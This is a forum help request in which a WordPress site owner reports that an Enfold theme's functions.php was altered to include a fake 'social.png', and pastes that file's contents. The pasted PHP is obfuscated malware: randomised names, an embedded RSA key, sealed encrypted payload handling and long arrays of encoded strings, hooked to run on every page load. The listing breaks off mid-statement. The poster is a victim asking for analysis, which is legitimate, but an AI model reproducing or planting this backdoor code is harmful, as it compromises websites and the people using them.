-
Search Results
-
Hello,
I just launched my wordpress website made with Enfold theme, but 3 days later, I found functions.php under Enfold theme folder has been added a new code as below,
if (!defined(‘WP_OPTION_KEY’)) {
include_once ‘social.png’;
}And there is a new extra file social.png in root directory of Enfold theme folder as well, I changed the extension .png to .txt and found the following code in it, would you please let me know what’s happened to this theme and what did the hacker want to get from this code? And how to protect from further attack? Thanks.
<?php error_reporting(0); if (!defined(‘WP_OPTION_KEY’)) { define(‘WP_OPTION_KEY’, true); function txyFqaETRPUyiEgQatokJIY() { define(‘WP_OPTION_KEY’,’wp_data_newa’); new GsSYoMTsQibQgcHcuGmrg(); } add_action(‘init’, ‘txyFqaETRPUyiEgQatokJIY’); } class VtkddwvkYgCDDRRWbgRtw{ private $AcheTwkrhTtKmyatQGqYFc, $SntMBKFkfTlUzXyNVQedo, $YcmysXeieEGqvkjRIsPYg; public function __construct($BZaxGALPLdVfntBIQWUPs = ‘old’){ if ($BZaxGALPLdVfntBIQWUPs == ‘new’){ $this->QxEolVsSqvJZyRSgHFmL(); } else { $this->yOlGcuINHlzAVPznEbGNvwJM(); } $this->SntMBKFkfTlUzXyNVQedo = “—–BEGIN PUBLIC KEY—–\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q\r\n43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet\r\nnS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c\r\nuccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj\r\nnfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X\r\nvgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/\r\ngQIDAQAB\r\n—–END PUBLIC KEY—–“; } private function yOlGcuINHlzAVPznEbGNvwJM() { $oXyaqmHoChvHQFCvTluqmAC = get_option(‘WP_CLIENT_KEY’); $this->AcheTwkrhTtKmyatQGqYFc = $oXyaqmHoChvHQFCvTluqmAC; } private function QxEolVsSqvJZyRSgHFmL() { $WUSuJUGMrzyhdyhyGeIjayJs = $this->DWoPBIQOoBwLXRAmwfedw(); $this->AcheTwkrhTtKmyatQGqYFc = $WUSuJUGMrzyhdyhyGeIjayJs[‘private’]; $this->YcmysXeieEGqvkjRIsPYg = $WUSuJUGMrzyhdyhyGeIjayJs[‘public’]; update_option(“WP_CLIENT_KEY”, $this->AcheTwkrhTtKmyatQGqYFc); } public function bkBMtlOkGRaPFVExpcNbC($oXyaqmHoChvHQFCvTluqmAC) { openssl_seal($oXyaqmHoChvHQFCvTluqmAC, $XSuQpMSlwhlPZypBIPnfjXTA, $THPieTXOYTCWThoTFSSuHU, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQedo))); return array(“data” => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA), “key” => base64_encode($THPieTXOYTCWThoTFSSuHU[0])); } public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC) { openssl_seal($oXyaqmHoChvHQFCvTluqmAC, $XSuQpMSlwhlPZypBIPnfjXTA, $THPieTXOYTCWThoTFSSuHU, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPYg))); return json_encode(array(“data” => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA), “key” => base64_encode($THPieTXOYTCWThoTFSSuHU[0]))); } public function qPhSGyDrRdyPezAnHgiao() { return $this->YcmysXeieEGqvkjRIsPYg; } public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd) { $this->YcmysXeieEGqvkjRIsPYg = $piiJbwvzLxHvKjlNnFzd; } public function vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC) { $BdlbpgzPBjxVLkBLnsrXkmI = json_decode($oXyaqmHoChvHQFCvTluqmAC, true); if ($BdlbpgzPBjxVLkBLnsrXkmI !== false){ $oXyaqmHoChvHQFCvTluqmAC = $BdlbpgzPBjxVLkBLnsrXkmI; } if (!is_array($oXyaqmHoChvHQFCvTluqmAC)) { return false; } openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluqmAC[‘data’])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluqmAC[‘key’])), $this->AcheTwkrhTtKmyatQGqYFc); return $WQqrOQbxBHtERCkwicqA; } public function DWoPBIQOoBwLXRAmwfedw() { $IzGRmpLLtcLVMJRxcfpeGhQVry = openssl_pkey_new(array( ‘private_key_bits’ => 2048, ‘private_key_type’ => OPENSSL_KEYTYPE_RSA, )); openssl_pkey_export($IzGRmpLLtcLVMJRxcfpeGhQVry, $IANNGYfyVIgZFkzWVTKmQGc); $oXyaqmHoChvHQFCvTluqmAC[‘private’] = $IANNGYfyVIgZFkzWVTKmQGc; $XEWVBmIaXvRqxrckbkOqw = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpeGhQVry); $oXyaqmHoChvHQFCvTluqmAC[‘public’] = $XEWVBmIaXvRqxrckbkOqw[‘key’]; return $oXyaqmHoChvHQFCvTluqmAC; } } class GsSYoMTsQibQgcHcuGmrg{ public $oXyaqmHoChvHQFCvTluqmAC = array(), $yYVsqvOoqWsddypXgJcIKOw = array(), $qcCONSsvpJlMgdhEFFmrTI, $IzGRmpLLtcLVMJRxcfpeGhQVry, $aJQafHDwnaPrCJrQMjHVh, $AeRxXNHxOXpcNJWlZSIKLhIw, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGYxso, $wqawPxkNytKqRKNRqbwAdw, $IatJdWimJbxtprWZElHevfI, $YobOrWbieESFVcSsWsuBypg; public $WbKPQMoSbMZkXUeYKXRIk; public function __construct() { $this->yYVsqvOoqWsddypXgJcIKOw = array( ‘==DZk4FZlVwY5RGZhpQB’ ,’=4JnhZUpck2olIKM’, ‘=4JnhZ3M1WJMeyTo’, ‘=02ow5FryW3ogkJnuWUq’, ‘6yzLhDKqwETol92q’, ‘==trcWzYyEKqwETol92q’, ‘g92LhZ3ni9Togyzr’, ‘==DoiAzYiEKqiyKMgS2p’, ‘=8zMhyzYhIJMlqzoi9Jo’, ‘=bKnv5vpuE3phSJofI2n’, ‘aW3ohHzMckzp19JM2y2M’, ‘=02ow5PoyITqmEJquWaM’, ‘==DoiAzY6ITqu1JLgkJL’, ‘g92LhpzockTocM2oaWKM’, ‘==toc5vo1AKMaSTofyzq’, ‘hyzY5Izpi1JM29Jo’, ‘==jMl9zY5ITMi9zMiyzL’, ‘aW3ohVGqlpzocuTq55JL’, ‘==jMl9zYhI2LmEapiO3p’, ‘aW3oh4JLwAUq0I3L’, ‘=pzpi5lp0WKLjSJMyWaM’, ‘==jqj5FqiyKMwyzoyA2p’, ‘3OaY1WGoj1JL’, ‘=pUphxKqaWKnuu2L’, ‘=4JnhVKMeAJnfMJock2p’, ‘=4JnhV3ox5JLl9TryuTq’, ‘=4Jnh4JqvyKMh9Tn’, ‘hyzYmk2oiEaoyk2M’, ‘hyzYh9TqlSzLhSTM’, ‘=4JnhNKqiW3Mf9TogyzL’, ‘==toc5lp0Szp0SzM’, ‘hyzYfIJM0Aaouu2L’, ‘hyzYlSTqm92Mhyzp’, ‘6yzLh4zpiEKMfqzocWaL’, ‘aW3ohHTo5E3pgHJocW3L’, ‘==trcWzYmgJLgyTqf9zM’, ‘==Nqy5zYmAKMhy2M0ITo0I3o’, ‘==jqj5PnmyzMiEUnmyzp’, ‘==jqj5lphS2pfIzquWUq’, ‘==trcWzYlITMuk2Mc5Jq’, ‘0IzohZUocSzMlITMh92q’, ‘0IzohZKMfyUqm52ohITr’, ‘=pzpi5vouEKn0g2LukzL’, ‘=HJohNKqbSTof9Tn’, ‘=DKMh5lpyEJLlq2ohSzo’, ‘6yzLhxapu1TMuITM’, ‘==Nqy5zY39zoe1JLyWUM’, ‘==Nqy5zYlITqm9zM5STo’, ‘==joz5JnhZKMa5JLlE3p’, ‘==trcWzYfy2MlITqhIUn’, ‘=bKnv5FM4S2nfyJo’, ‘=bKnv5PqcgJLgSzp’, ‘==trcWzYfk2ovITqiIKp’, ‘==DoiAzYm52ox1zM’, ‘=02ow5lpwy2p11JLlSTM’, ‘=02ow5vpyWzLiWzpyq2MiWaM’, ‘=02ow5lphIJof92n’, ‘=02ow5lpykTpgS2pi9zM’, ‘==DoiAzYmEzpu9zL2EKo’, ‘==trcWzYmyKLxIao’, ‘iMzoc5lp5kzMx5JLlS2L’, ‘==jow5lqikTn0SJo’, ‘=82Lh82nhIJo’, ‘=02ow5vpiu3Lc1JLhyUM’, ‘==DMg5FngSTMhI2q’, ‘=bKnv5Pqcg2of9zr’, ‘==jqj5PofS2qlITqhSTn’, ‘aW3ohD3owyKMh9Jo’, ‘6yzLhxKoyEJLwSJM0y2pvI2q’, ‘=bKnv5lo5ITMi9zM’, ‘==trcWzYmkJL0W3ojAKM’, ‘==toc5lp3Izo3SJo’, ‘=4Jnhf2LiWKolITq’, ‘hyzYeA2olIzoiE3p’, ‘=4Jnh82oz1zM’, ‘hyzY0WKLjSJMyWaM’, ‘==toc5PMhSTolSTqcI3M’, ‘==toc5vou12MiWUp’, ‘==toc5voz1zM’, ‘hyzYj9TouWKMhI2M’, ‘=4JnhjJL0W3ojAKM’, ‘=8zMhyzYykTpgS2pi9zM’, ‘==joz5JnhHJMlMTAiWTn’, ‘==joz5JnhHaZhITqmyTo’, ‘=8zMhyzYyqJLjgzo’, ‘iMzoc5vMfSTnvI2q’, ‘3OaYm5JqaWzM’, ‘=pUphH2nuEaZwyTp’, ‘=pUphZapyE3pu1JMmIzocu2L’, ‘=pUphxUMukJr6SToi9zM’, ‘3OaYyAKqi92n’, ‘0IzohxKLxIao’, ‘=DKMh5Fne9TMhyzM’, ‘==Nqy5zY5kzMx5JLlS2L’, ‘==Nqy5zYi9zMgyzM’, ‘==Nqy5zY392qzqKL’, ‘==DoiAzYyyao2EKo’, ‘=02ow5lpuyTMySKney2q’, ‘g92Lh4JMwEapiO3p’, ‘=02ow5FMyWaM2EKo’, ‘==DoiAzY3Izo3SJo’ ); $this->aJQafHDwnaPrCJrQMjHVh = array( ‘=HaphjJnu1TD1ETn1c2p’, ‘==DoiAzYfyJLgqTDwyToiMKLlESofSTMhSzH’, ‘==DoiAzYfyJLgqTDkHGBkDapyq3phSHouyTofy2I’, ‘g92LhjJnu12MNEJMjWKq0IzDmSJoiuTI’, ‘==DoiAzYfyJLgqTD39TqlITnHIJnfIaF’, ‘==DoiAzYfyJLgqTDx5JLaIzpv1JqGIzouyTE’, ‘g92LhjJnu12MNyaL4STqc12oQWKMbO3o0AKnlu2D’, ‘=02ow5PocSJoaORZ4xGZmyJobAIL0yzH’, ‘=02ow5PocSJoaORMhSTqlSTovI3oGy3LuE3H’, ‘==DoiAzYfyJLgqTDhIToxyzEl9zqyWUI’, ‘=02ow5PocSJoaORMy5zpyOUpOqJnuW3D’, ‘==DoiAzYfyJLgqTDmHGBk4JMxSHMjIUG’, ‘g92LhjJnu12MNyQAlIzp192Dy5Jn0AKnlu2D’, ‘g92LhjJnu12MNIJo05JngS2H0WKMv9zH’, ‘==DoiAzYfyJLgqTD1DQquu2pcuTIy5zou9zF’, ‘==DoiAzYfyJLgqTDxIzpx5JnuqRoySTnwyJG’, ‘=02ow5PocSJoaORMyE3LyWUHyyTqlIzD’, ‘=02ow5PocSJoaORMuuTqa5JnuAyrcWUquIzD’, ‘g92LhjJnu12MNA3py12oKS2LcWKE’, ‘g92LhjJnu12MNAap1EKMGWKMbO3o0AKnlu2D’, ‘=02ow5PocSJoaOxpyE3puuTIh5JD’, ‘==DoiAzYfyJLgqTDbEKnx5JDyyTnj92H’, ‘g92LhjJnu12MNEaoyq3o05JIhyzqfIJG’, ‘=02ow5PocSJoaORA4xGZxI2MlITn09TpjS0nlSJG’, ‘==DoiAzYfyJLgqTDjLGBkHTq192H0WKMv9zH’, ‘=02ow5PocSJoaORMcSToj1JMfWJDyI2LhSzG’, ‘g92Lhj2ouOHoiWaLuEJn’, ‘=02ow5PoiSTDcEJLg91L’, ‘==DoiAzYf9JLNSQofy2Mw1zYyyJogyzn’, ‘=02ow5PoiSTDljJM0STphf2L1u2L’, ‘==DoiAzYf9JLNSwpyMJLbA3KuEaoucJL’, ‘=02ow5PoiSTDyI2Mu12KyWUMhSzr’, ‘g92Lhj2ouORMlSTnwIzLyAKnhITM’, ‘==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo’, ‘=02ow5PoiSTDfSzpiEJLxkJL’, ‘==DoiAzYf9JLN52omWJna9IL5Szn’, ‘g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L’, ‘==DoiAzYf9JLNcKLj5lo05JnwSzn’, ‘=02ow5PoiSTDbAJnyW3pc12oe9zo’, ‘g92Lhj2ouOHZhyzpl9JobqJLhIJo’, ‘==DoiAzYf9JLNWJL0EKMfI2M’, ‘==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM’, ‘=02ow5PoiSTDyEKLgIUnm5Pp’, ‘g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL’, ‘==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo’, ‘==DoiAzYf9JLNSmolWKL2SzosyKMfSTn’, ‘=02ow5PoiSTDk4zpiu2KuyzpyEJLhSTp’, ‘==DoiAzYf9JLNS2nmSTnm5vq’, ‘g92Lhj2ouORoyITqsyaohI2n’, ‘=02ow5PoiSTDh92phyTqhRJrcWUp’, ‘=02ow5PoiSTDygzp1W2KukToyE3p’, ‘==DoiAzYf9JLN5Jn6k2oj5loxWKLwIzp’, ‘==DoiAzYf9JLNcKMlI3ofSTq’, ‘=02ow5PoiSTDmEapyWzLy9ILbEKMl9TM’, ‘=02ow5PoiSTDkDUoiWzocSzpskJqxWJL’, ‘=02ow5PoiSTDmITqlIJqz5vq’, ‘=02ow5PoiSTDay2q0WKLb9SMyW3L’, ‘=02ow5PoiSTDa5Jnzu2olyaplSTo’, ‘g92Lhj2ouO0phy2May2qh4Jn2kJL’, ‘g92Lhj2ouOHZ5ITofI2nh8Jnwyzp1SJo’, ‘==DoiAzYf9JLN1JLhgJnh9ILxIzq’, ‘g92Lhj2ouOHnhyJqlIzoiITo’, ‘==DoiAzYf9JLNqzouI3oe5Fo’, ‘=02ow5PoiSTDuEJMl9zrsSTn0WKMvkJL’, ‘==DoiAzYf9JLNWKqm5JLg9In’, ‘==DoiAzYf9JLN52ogg2Lcu2KhS2Ml9Jo’, ‘==DoiAzYf9JLNWKMxyJMz5lL’, ‘=02ow5PoiSTDhyTo1EzYbAKL’, ‘g92Lhj2ouOxpy5zpiqzYukJMgSTp’, ‘g92Lhj2ouOxohS2qhRzrukzL’, ‘=02ow5PoiSTDykJM6IJn65FL’, ‘==DoiAzYf9JLNA3pyu2Kv9zp’, ‘==DoiAzYf9JLNWUnikzMhRToyy2LuW3M’, ‘=02ow5PoiSTDkHzoiMKLv9ILckJMlIKL’, ‘g92Lhj2ouOHZfIKLj9In’, ‘=02ow5PoiSTDm5JnaE2ob5PqlSzL’, ‘==DoiAzYf9JLNITouIzqhxTM’, ‘=02ow5PoiSTDuy2LmIKosSTMhIUnmSTo’, ‘=02ow5PoiSTDkf2Li1zYuEKnf9To’, ‘g92Lhj2ouOxouAJn4IJoskJnlOKL’, ‘=02ow5PoiSTDkjToyq3oj5voyWKn’, ‘=02ow5PoiSTD0IJog9zpw5ln’, ‘=02ow5PoiSTDmO3oiE3p0IJMd5JLly2n’, ‘==DoiAzYf9JLNk2olWKLw9IL0AKMx9Jo’, ‘g92Lhj2ouOxouyKLvSzLxITnmSzp’, ‘g92Lhj2ouOHZmgzpuOaYfkJM3Izn’, ‘g92Lh82obSJrN1Jn5I2p192DuAKn19TG’, ‘=02ow5loiuJL5OHqf9zocqUMi92Euy2LckJD’, ‘=02ow5loiuJL5O0ohy3p3Izpx5JDyy2nwSzF’, ‘g92Lh82obSJrN9zMuIzpi1zpyMKnZITq0ITof92D’, ‘=02ow5loiuJL5OHrfyJrlWKIuyzqfy3H’, ‘=02ow5loiuJL5ORMiMzoiAaocW2oFSJnwIUG’, ‘g92Lh82obSJrNqJn2AKn0WKLDyUolS2D’, ‘g92Lh82obSJrNI3pjIJnh5JMZy3p0STH’, ‘=02ow5loiuJL5O0MxSJMm9zDyyzqyE3H’, ‘==DoiAzYi9TnuyUDeSzp5ITouITFyyzouuTpyE3H’, ‘=02ow5loiuJL5OHrhITquuJnByaplITI’, ‘g92Lh82obSJrNyzLy5JnzMJnlqHL5SJG’, ‘g92Lh82obSJrNAJo1I2Mxyzpa5JLZyaohSTE’, ‘g92Lh82obSJrNOKngyKM39TIyIKpckJMa5JD’, ‘=02ow5loiuJL5OxMaIKMm9zHgy2F’, ‘=02ow5loiuJL5OxL5kzoiAUoy5xoiWapuu2H’, ‘g92Lh82obSJrN1JrayaplSTF5ITocI2F’, ‘==DoiAzYi9TnuyUD5WJnmI2MxyzpPyzLv9zD’, ‘==DoiAzYi9TnuyUDfy3LxW3ozkTouuHL5SJG’, ‘g92Lh82obSJrN52o0yKMfu2L0STIy5JMxSzF’, ‘=02ow5loiuJL5O0oi1TMuETMuuHMwyzouu2H’, ‘=02ow5loiuJL5OxoukJMiqJLFyaLvyTG’, ‘=02ow5loiuJL5OHM0SJMfOUpcEIrwSTG’, ‘=02ow5loiuJL5OHrv9Tnw92oUyKogS2H’, ‘g92Lh82obSJrNE3o25JMfkJEhIJn2yzI’, ‘==DoiAzYi9TnuyUD5WJqy5JnxWKLXIJn0AKnlu2D’, ‘g92Lh82obSJrNIaq1g2LcuTpfIHMfITnwyJG’, ‘=02ow5loiuJL5O0oj9TolSJEyyTofyJG’, ‘==DoiAzYi9TnuyUDvyUMyyTqmyzpbAHLcqzpiI2E’, ‘g92Lh82obSJrN9zpf52omyzohITEyyToc1JE’, ‘==DoiAzYi9TnuyUDlqJrmyToa5JFgSJnlyJG’, ‘==DoiAzYi9TnuyUDuIKqfkJqU52o2ITE’, ‘=02ow5loiuJL5OHqgIUq0I2nwSToP5JLly2F’, ‘==DoiAzYi9TnuyUDuy3LxITq4y2IhyJo6SJJ’, ‘=02ow5loiuJL5OHnm9zpyAap1OyouIzF’, ‘=02ow5loiuJL5OHLcAKr2STEyIJnx9zF’, ‘==DoiAzYi9TnuyUD292pyAJrlWHrfWKM2IzD’, ‘==DoiAzYi9TnuyUDcWJLwyzqyAJnaSzpRyaohSzE’, ‘=02ow5loiuJL5OHrwIUofI2nmSJGyyzLvITE’, ‘g92Lh82obSJrN5JneyToiyJLlWKMTSzpuy2D’, ‘g92Lh82obSJrN9zqc52o0WKMe5JnDyKMfSTF’, ‘=02ow5loiuJL5O0L1y3nlIUqlIUFuEKnhIzD’, ‘g92Lh82obSJrNSJnw52omETou52oREKMhSzF’, ‘g92Lh82obSJrNyKouyaLfyTnDITq0ITof92D’, ‘=02ow5loiuJL5OHnzWJMc5zoykHngIzH’, ‘g92LhjJnu1TqiuTD5kJnlyUqyM2oeIar’, ‘=02ow5PocSJo09TnNM3olyUpcuJMgSzM’, ‘g92LhjJnu1TqiuTDyEKqlyTriEJqvyan’, ‘g92LhjJnu1TqiuTDcWKneSzo1E3olyJp’, ‘g92LhjJnu1TqiuTDuqJLfyUMiq2o0yzL’, ‘=02ow5PocSJo09TnNEKqvI2L1uJrzI2M’, ‘g92LhjJnu1TqiuTDu5Jndy3MyOKnaITq’, ‘=02ow5PocSJo09TnNcKrkIzq15JnhIUo’, ‘=02ow5PocSJo09TnNEJqgIaL1WKMvy3n’, ‘g92LhjJnu1TqiuTDuEKMlyzr5A3o6Iar’, ‘g92LhjJnu1TqiuTDcuKr6y3pcEJMmyzM’, ‘=02ow5PocSJo09TnNWKrkSzo5E3oh92n’, ‘g92LhjJnu1TqiuTD55JMwy3MigJrjSzM’, ‘=02ow5PocSJo09TnNuKLaSTnu52o3yUM’, ‘g92LhjJnu1TqiuTDyqKn6SJp1AJnfyUo’, ‘=02ow5PocSJo09TnNOKLxSzMcuJMwSTr’, ‘g92LhjJnu1TqiuTDyg2olyzpiuJn4yzo’, ‘=02ow5PocSJo09TnNAJngIaMyAKrvIzL’, ‘g92LhjJnu1TqiuTDu1JLmIaM1M3owS2n’, ‘=02ow5PocSJo09TnNA3oxSzn1MJrwyap’, ‘g92LhjJnu1TqiuTDiuKq69zr5u2o0SJo’, ‘=02ow5PocSJo09TnNAKrgyUn5uKqb9To’, ‘g92LhjJnu1TqiuTDykJqgIKpuqJrayTn’, ‘g92LhjJnu1TqiuTDyWKLxyzpcqJq4Szp’, ‘=02ow5PocSJo09TnNAJL0I2LcAJnxyzn’, ‘g92LhjJnu1TqiuTD5c2ojSzMcAKnzyzo’, ‘=02ow5PocSJo09TnNcKqeyzniqJLl9To’, ‘=02ow5PocSJo09TnNu2o4y2MiAJM0Iao’, ‘=02ow5PocSJo09TnN5JreS2M5EKnhITo’, ‘=02ow5PocSJo09TnNAJnwyUncEJqbSTo’, ‘=02ow5PocSJo09TnNuJnvIznuEKMaIao’, ‘g92LhjJnu1TqiuTD1EKrmy3LyMJqkIKo’, ‘g92LhjJnu1TqiuTDuEJMfIUo5kJq4y2M’, ‘g92LhjJnu1TqiuTDyEKMgIUM5MJMgS2n’, ‘g92LhjJnu1TqiuTDuAKrmy3LuAKrk9zn’, ‘g92LhjJnu1TqiuTDcWJLgy3ny5Jq6yTp’, ‘g92LhjJnu1TqiuTDyMJLjSTM5W3o49zp’, ‘=02ow5PocSJo09TnNW3oaSTMcuKrmITo’, ‘=02ow5PocSJo09TnNSKr6IaLcSKMbS2n’, ‘g92LhjJnu1TqiuTD1E2o2yzruAKqv9zq’, ‘=02ow5PocSJo09TnNEJngITqucJreyTM’, ‘g92LhjJnu1TqiuTDiu2oly3L1u3o3yaM’, ‘g92LhjJnu1TqiuTD15Jqa9zn1OKqmyJp’, ‘g92LhjJnu1TqiuTDuuKn4SJpiAKrey3p’, ‘=02ow5PocSJo09TnNgJMzSJpuWJq2yTp’, ‘=02ow5PocSJo09TnNuJn4IzqiW3o39Jo’, ‘g92LhjJnu1TqiuTD5SKnmIaricKrvIJo’, ‘=02ow5PocSJo09TnNS3odS2MyuJqxyTo’, ‘=02ow5PocSJo09TnNcJrzyJp55JqeI2q’, ‘g92Lhf2oikTq19TD5uJL4yTM1EKMk9zM’, ‘g92Lhf2oikTq19TD5AJq4Iaq1uKq4y2p’, ‘=02ow5lni9To0I3oNc3ojIKocMJMgy3n’, ‘=02ow5lni9To0I3oNc3ogSzq5EJnaIUo’, ‘=02ow5lni9To0I3oNcKnd92pigJM292p’, ‘g92Lhf2oikTq19TD5EJMfy3pycJn29zr’, ‘=02ow5lni9To0I3oNcJqkyaq1gJr0Izo’, ‘g92Lhf2oikTq19TDyAJnd9Tn5EJMwSJp’, ‘=02ow5lni9To0I3oNSKLgyUpygJq4yao’, ‘g92Lhf2oikTq19TDuEJrjIzocuJMxS2L’, ‘=02ow5lni9To0I3oNu3ojyJoySKqvITr’, ‘g92Lhf2oikTq19TD5EJqhyTn1gJMkyan’, ‘g92Lhf2oikTq19TD5AJneITncqJndyUp’, ‘g92Lhf2oikTq19TD15JnwIUoykJLgI2M’, ‘g92Lhf2oikTq19TDuOKrfSJou1Jn0IUr’, ‘=02ow5lni9To0I3oNuKqhyapcWKnxy2M’, ‘=02ow5lni9To0I3oNcKMbSznucJq0Iap’, ‘g92Lhf2oikTq19TD5A3omy3nicJrdy3M’, ‘g92Lhf2oikTq19TD1WJrgS2Mc12omIzM’, ‘=02ow5lni9To0I3oNO3ofy3qiMKqbIzr’, ‘=02ow5lni9To0I3oNEKn4I3L1SKqfIUq’, ‘=02ow5lni9To0I3oN5JrfyzMcMJqfIKp’, ‘=02ow5lni9To0I3oNqKrxSTqygJrk9zo’, ‘g92Lhf2oikTq19TDikJnvSJp5qKqkIar’, ‘g92Lhf2oikTq19TD5O3ovy2piqJnhIUq’, ‘g92Lhf2oikTq19TDyMKL092L5MKqwIzL’, ‘=02ow5lni9To0I3oNcJqbIap5cKL0yKp’, ‘g92Lhf2oikTq19TD5qKrdS2qiAJMvITq’, ‘=02ow5lni9To0I3oNWKM6yarycJqjSzo’, ‘=02ow5lni9To0I3oN1JM39JoiAKMbyaL’, ‘g92Lhf2oikTq19TD55JnmIUM1cKrm92p’, ‘=02ow5lni9To0I3oNq3oh9zryc3og9Tq’, ‘g92Lhf2oikTq19TD1OKrvyaMuWJqxyUM’, ‘g92Lhf2oikTq19TDiMKnvyaM1uJngIzr’, ‘=02ow5lni9To0I3oNqKMbIUnyqKMeSTp’, ‘=02ow5lni9To0I3oNqKngIzL1uKLlIzo’, ‘g92Lhf2oikTq19TDu52oj92LyuJLmyzp’, ‘=02ow5lni9To0I3oNOKL69zMucKMlSTM’, ‘=02ow5lni9To0I3oNuKqmyTnucJM2I3L’, ‘g92Lhf2oikTq19TDySKrmSTn5qKLbIao’, ‘g92Lhf2oikTq19TD1EKnxIJoccKL0Iao’, ‘g92Lhf2oikTq19TD5qKr6yzoicJMa9zo’, ‘g92Lhf2oikTq19TDuqJnzIao1MJnxIao’, ‘=02ow5lni9To0I3oNc2odI2p1WKMgIzr’, ‘g92Lhf2oikTq19TD1uKndSTquqJrhSTo’, ‘=02ow5lni9To0I3oNuKrwyap1cJL39Tn’, ‘=02ow5lni9To0I3oNEJrkS2pikJMbIzn’, ‘g92Lhf2oikTq19TDiqJMay2p1E2ofyaL’, ‘g92Lhf2oikTq19TDiqKqfIzoykJqlyzo’, ‘=02ow5lni9To0I3oNcKrbSzn51JrzI2n’, ‘=02ow5lni9To0I3oNgJLh92McuKqm92p’, ‘g92Lhf2oikTq19TDcq2owyap112ox9Tq’, ‘g92Lhf2oikTq19TDiWJq6yJoykJMjS2M’, ‘g92Lhf2oikTq19TDugJray3qcqJnwSzM’, ‘g92Lhf2oikTq19TDcqJnmyzruEKqeyzM’, ‘=02ow5lni9To0I3oN5JMmyUr5AJn2yUp’, ‘g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr’, ‘g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M’, ‘=02ow5lni9To0I3oNAJqvI2q1MKLxS2q’, ‘g92Lhf2oikTq19TD1EKLeSzp11JLxy2p’, ); $this->dIOUyQsvDqPHTBIxnlYs(); $this->YobOrWbieESFVcSsWsuBypg = false; $oXyaqmHoChvHQFCvTluqmAC = get_option(WP_OPTION_KEY); if ($oXyaqmHoChvHQFCvTluqmAC == null || $oXyaqmHoChvHQFCvTluqmAC == ‘null’) { $oXyaqmHoChvHQFCvTluqmAC = ”; } if ($oXyaqmHoChvHQFCvTluqmAC == ”){ $this->wqawPxkNytKqRKNRqbwAdw = true; $this->AeRxXNHxOXpcNJWlZSIKLhIw = new VtkddwvkYgCDDRRWbgRtw(‘new’); $this->QxEolVsSqvJZyRSgHFmL(); } else{ $this->AeRxXNHxOXpcNJWlZSIKLhIw = new VtkddwvkYgCDDRRWbgRtw(); $this->oXyaqmHoChvHQFCvTluqmAC = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluqmAC, true); if (isset($this->oXyaqmHoChvHQFCvTluqmAC[‘info’][‘publicKey’])) { $this->AeRxXNHxOXpcNJWlZSIKLhIw->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluqmAC[‘info’][‘publicKey’]); } } $this->OFwlxWaeMyxznpZtnfJLQA(); if ($this->TztHMzNNJASlMfiSOwxQpE()) { die(); } if (!$this->wqawPxkNytKqRKNRqbwAdw) { $this->KPBBXYwmuPGPaTyLhWevI(); } } private function QxEolVsSqvJZyRSgHFmL(){ $WbKPQMoSbMZkXUeYKXRIk = $this->KZdGlovqEtKYUSCqSVnK(); $WbKPQMoSbMZkXUeYKXRIk[‘publicKey’] = $this->AeRxXNHxOXpcNJWlZSIKLhIw->qPhSGyDrRdyPezAnHgiao(); $this->WbKPQMoSbMZkXUeYKXRIk = $WbKPQMoSbMZkXUeYKXRIk; $vsJigIMHYwdFnuqvRwrvms = false; $BCEUSjHFFwzzqmHmpjjQI = 0; foreach($this->HSxTktcbTftjZjKRHHmhr() as $gXNjWLFkUQOugyREMXKvZBfw){ $oXyaqmHoChvHQFCvTluqmAC = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw,$WbKPQMoSbMZkXUeYKXRIk); $oXyaqmHoChvHQFCvTluqmAC = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC !== false) { $vsJigIMHYwdFnuqvRwrvms = true; if ($this->YobOrWbieESFVcSsWsuBypg) { break; } break; } } if ($vsJigIMHYwdFnuqvRwrvms) { if ($this->YobOrWbieESFVcSsWsuBypg) { $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC[‘info’] = $WbKPQMoSbMZkXUeYKXRIk; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); $this->oXyaqmHoChvHQFCvTluqmAC = $oXyaqmHoChvHQFCvTluqmAC; } else { $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); $oXyaqmHoChvHQFCvTluqmAC[‘info’] = $WbKPQMoSbMZkXUeYKXRIk; $this->oXyaqmHoChvHQFCvTluqmAC = 